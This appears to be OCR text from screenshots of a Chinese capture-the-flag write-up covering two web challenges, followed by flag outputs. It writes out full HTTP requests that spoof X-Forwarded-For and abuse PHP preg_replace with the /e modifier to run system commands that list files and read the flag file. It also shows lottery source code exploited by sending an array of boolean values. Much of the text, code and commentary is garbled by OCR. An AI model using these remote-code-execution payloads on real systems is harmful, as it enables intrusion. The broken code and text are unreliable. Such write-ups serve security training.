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UnicodeEncodeError at fapi/ping

'gbk' codec can't encode character uwfffd' in position O: illegal multibyte sequence

Request Method:
Request URL:
Django Version:
Exception Type:
Exception Value:
Exception Location:
Python Executable:
Python VYersion:
Python Path:

Server time:

POST

http:/127.0.0.1:8000/api/ping

1.10.4
UnicodeEncodeErmr

'ghk' codec can't encode character u'jyufffd!

foptfapifdnsapifutils.py in escape, line 9

fusrbin/python
2712
['foptifapi',

'Juse/lib/pythonZ.
'Juse/lib/pythonZ.
'Juse/lib/pythonZ.
'Juse/lib/pythonZ.
'Juse/lib/pythonZ.

71,

Tiplat-xG6_gd-lima-oqrn' ,

7/lib-tk',
7/lib-ald',
7/lib-dynload’,

'Jusr/local flibfpythonz., 7/dist-packages',

'Juse/lib/pythonZ.

T/dist-packages']

Sun, B Oct 2019 12:41:58 +1000

in position 0: illegal multibyte sequence
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if ($_SERVER['HTTP_X_FORWARDED FOR'] === '127.0.0.1') {
echo "<br >Welcome My Admin ! <br >";

$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);

}else{
die();

FEW¥X FORWARDED FORi%E 4127.0.0.1, gettsZ 53\ ‘pattern’ |’ replacement’, ‘subject’ =/NS#f&i#
“preg_replacers #i .

preg_replce efR A&y AT, AT EMHII D S HHAT

GET /index.php?pat=/(.*)/e&rep=system(%271s%27)&sub=a HTTP/1.1

Host: 111.198.29.45:56033

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

X-FORWARDED-FOR:127.0.0.1

Cookie: PHPSESSID=sse21lut43grltrqpml5c3ulke

Connection: close

Upgrade-Insecure-Requests: 1
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Request Response

11 webgldm
12 12 F4RT2isi) 3 || [ Raw | Params | Headers | Hex Rauw | Headers | Hex | HTML | Render
Ell GET /index.php?pat=/(.")/e&rep=system(%27|s%27)&sub=a HTTP/1.1 - s
Host: 111.198.29.45:56033 layui
il User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) logo.png
Gecko/20100101 Firefox/56.0 s3chahahaDir
Accept: text/html applicationfxhtml+xml,applicationfxml;g=0.9,"/*;q=0.8 start.sh
Accept-Language: zh-CN zh;q=0.8,en-US;q=0.5,en;q=0.3 PLE.png
| Accept-Encoding: gzip, deflate css
X-FORWARDED-FOR:127.0.0.1 index.html
8 Qo= gookie: F’HF’SESSID=sse2‘IIut439rltrqpm15c3u1k0 index.php
. 3| Connection: close js
® =iRits Bl Upgrade-Insecure-Requests: 1 layui
If logo.png
s3chahahaDir
start.sh
PiFE.png
</body>
v

&5 K Piflag :

GET /index.php?pat=/(.*)/e&rep=system(%27cat+s3chahahaDir/flag/flag.php%27)&sub=a HTTP/1.1
Host: 111.198.29.45:56033

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

X-FORWARDED-FOR:127.0.0.1

Cookie: PHPSESSID=sse21lut43grltrqpml5c3ulke

Connection: close

Upgrade-Insecure-Requests: 1
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Go Cancel < v > Target: http://111.198.29.45:56

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTWML I Render ]
GET by layer.msg(elem.text());
findex.php?pat=/(.")/e&rep=system(%27cat+s3chahahaDirflagMag.php%27) 1 H
&sub=a HTTP/1.1 :
Host: 111.198.29.45:56033 </script>
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0)
Gecko/20100101 Firefox/56.0 <br >Welcome My Admin ! <br ><?php
Accept: 1extfhtml,applicationthiml+xm|,applicaiion!xml;q=0|.9,'f';q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5.en;q=0.3 $flag = 'cyberpeace{1338a9%ba48
Accept-Encoding: gzip, deflate
X-FORWARDED-FOR:127.0.0.1 ?>
Cookie: PHPSESSID=sse21Iut43gritrqpm15¢c3u1k0 <?php
Connection: close
Upgrade-Insecure-Requests: 1 $flag = 'cyberpeace{1 33BaQba4W
?>
</hody>
v
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* Home

* Bu

* Account

& Claim Your Prize

Buy a lottery!

People are winning fabulous prizes every day. You could win up to $5000000!

Play to win!

Rules

® Each starter has $20
e Pay §2, and select 7 numbers. Comparing with the winning number:

SR T —TF, EMAS, WEEE, EILBHEK, WXflag.
WRIEFPT T B KIgitit &

api.php:

<?php
require_once('config.php');
header('Content-Type: application/json');

function response($resp){
die(json_encode($resp));

function response_error($msg){
$result = ['status'=>'error'];
$result['msg'] = $msg;
response($result);

function require_keys($req, $keys){
foreach ($keys as $key) {
if(larray_key exists($key, $req)){



response_error('invalid request');

function require_registered(){
if(lisset($_SESSION['name']) || !isset($_SESSION[ 'money'])){
response_error('register first');

function require_min_money($min_money){
if(!isset($_SESSION[ 'money'])){
response_error('register first');
}
$money = $ SESSION[ 'money'];
if($money < 0){
$ _SESSION = array();
session_destroy();
response_error('invalid negative money');
}
if($money < $min_money){
response_error('you don\' have enough money');

if($_SERVER["REQUEST_METHOD"] != 'POST' || !isset($_SERVER["CONTENT_TYPE"]) || $_SERVER["CONTENT_TYPE"] !=
"application/json’){
response_error('please post json data');

$data = json_decode(file_get_contents('php://input'), true);
if(json_last_error() != JSON_ERROR_NONE){
response_error('invalid json');

require_keys($data, ['action']);

// my boss told me to use cryptographically secure algorithm
function random_num(){
do {
$byte = openssl_random_pseudo_bytes (10, $cstrong);
$num = ord($byte);
} while ($num >= 250);

if(!$cstrong){
response_error('server need be checked, tell admin');

$num /= 25;
return strval(floor($num));

function random_win_nums(){
$result = '';
for($i=0; $i<7; $i++){
$result .= random_num();



return j$result;

function buy($req){
require_registered();
require_min_money(2);

$money = $ SESSION[ 'money'];
$numbers = $req[ 'numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;

}
}
switch ($same_count) {
case 2:
$prize = 5;
break;
case 3:

$prize = 20;
break;
case 4:
$prize = 300;
break;
case 5:
$prize = 1800;
break;
case 6:
$prize = 200000;
break;
case 7:
$prize = 5000000;
break;
default:
$prize = 0;
break;
}
$money += $prize - 2;
$_SESSION[ 'money'] = $money;
response(['status'=>'ok', 'numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money,
'prize'=>$prize]);

}

function flag($req){
global $flag;
global $flag price;

require_registered();
$money = $ SESSION[ 'money'];
if($money < $flag price){
response_error('you don\' have enough money');
} else {
$money -= $flag price;
$_SESSION[ ‘money'] = $money;
$msg = 'Here is your flag: ' . $flag;
response(['status'=>'ok', 'msg'=>$msg, "'money'=>$money]);



function register($req){
$name = $req['name'];
$_SESSION[ 'name'] = $name;
$_SESSION[ 'money'] = 20;

response(['status'=>'0ok"']);

switch ($data['action']) {
case 'buy':
require_keys($data, ['numbers']);
buy($data);
break;

case 'flag':
flag($data);
break;

case 'register':
require_keys($data, ['name']);
register($data);
break;

default:

response_error('invalid request');
break;

HEEa:



function buy($req){
require_registered();
require_min_money(2);

$money = $_SESSION[ 'money'];
$numbers = $req[ 'numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;

}
switch ($same_count) {
case 2:

$prize
break;
case 3:

5;

$prize = 20;
break;

case 4:
$prize = 300;
break;

case 5:
$prize = 1800;
break;

case 6:
$prize = 200000;
break;

case 7:
$prize = 5000000;
break;

default:
$prize

1
(]
[

break;

}

$money += $prize - 2;

$_SESSION[ 'money'] = $money;

response([ 'status'=>'ok', 'numbers'=>$numbers, ‘win_numbers'=>$win_numbers, 'money'=>$money,
‘prize'=>$prize]);

}

Hrh $numbers 3k EH F P json#i A {"action™:"buy”,"numbers":"11111111"}, &HE M EHIERT,
$win_numbers 2 BENL A B B A/ B

i PHP §9R BBk, LA"M"AI, FITRUE,1,"1"#%. BT json ZEM/RBIEEE, Hika itak
A, MEHIE:



POST /api.php HTTP/1.1
Host: 111.198.29.45:51029

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: application/json, text/javascript, */*; gq=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest

Referer: http://111.198.29.45:51029/buy.php
Content-Length: 36

Cookie: PHPSESSID=3cb7bb982831ce7bcf4219a605214be5

Connection: close

{"action":"buy", "numbers":"1111111"}
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Request

Raw | Params | Headers | Hex

Target: http:/111.198.29.45:51029 | & L

Response

Raw | Headers | Hex

POST /fapi.php HTTP/1.1

Host: 111.198.29.45:51029

User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0)
Gecko/20100101 Firefox/56.0

Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: applicationfjson

X-Requested-With: XMLHttpRequest

Referer: http://111.198.29.45:51029/buy.php

Content-Length: 63

Cookie: PHPSESSID=3ch7bb982831ce7bcf4219a605214be5
Connection: close

{"action™."buy","numbers"[true true true true true true truel}

#3%/5000000, fk—KHi= 10000000, LAY Kflag T

O

HTTP/1.1 200 OK

Date: Sun, 06 Oct 2019 15:14:10 GMT

Server: Apache/2.4.25 (Debian)

X-Powered-By: PHP/7.2.5

Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache

Content-Length: 116

Connection: close

Content-Type: applicationfjson

{"status™"ok","numbers":[true true true true true true true],"win_numbers™"310
3339","money":200018,"prize":200000}
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Request

Raw | Params | Headers | Hex

POST /api.php HTTP/1.1
Host: 111.198.29.45:51029
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; n
Gecko/20100101 Firefox/56.0

Accept: application/json, texi/fjavascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.
Accept-Encoding: gzip, deflate

Bl Content-Type: application/fjson

Bl X-Requested-With: XMLHitpRequest

Referer: http://111.198.29.45:51029/buy.php
Content-Length: 63

Cookie: PHPSESSID=3ch7bh982831¢ce7hcf4219a60521
Connection: close

el {"action":"buy”,"numbers™[true true true true true true tru

”

cacert.der|
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Done
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Here is your flag: cyberpeace{Dcbéas9alb76a66887ebb7a7ask3bl16}

All items
Flag

$9990000

O Sale
buy the tlag if you can
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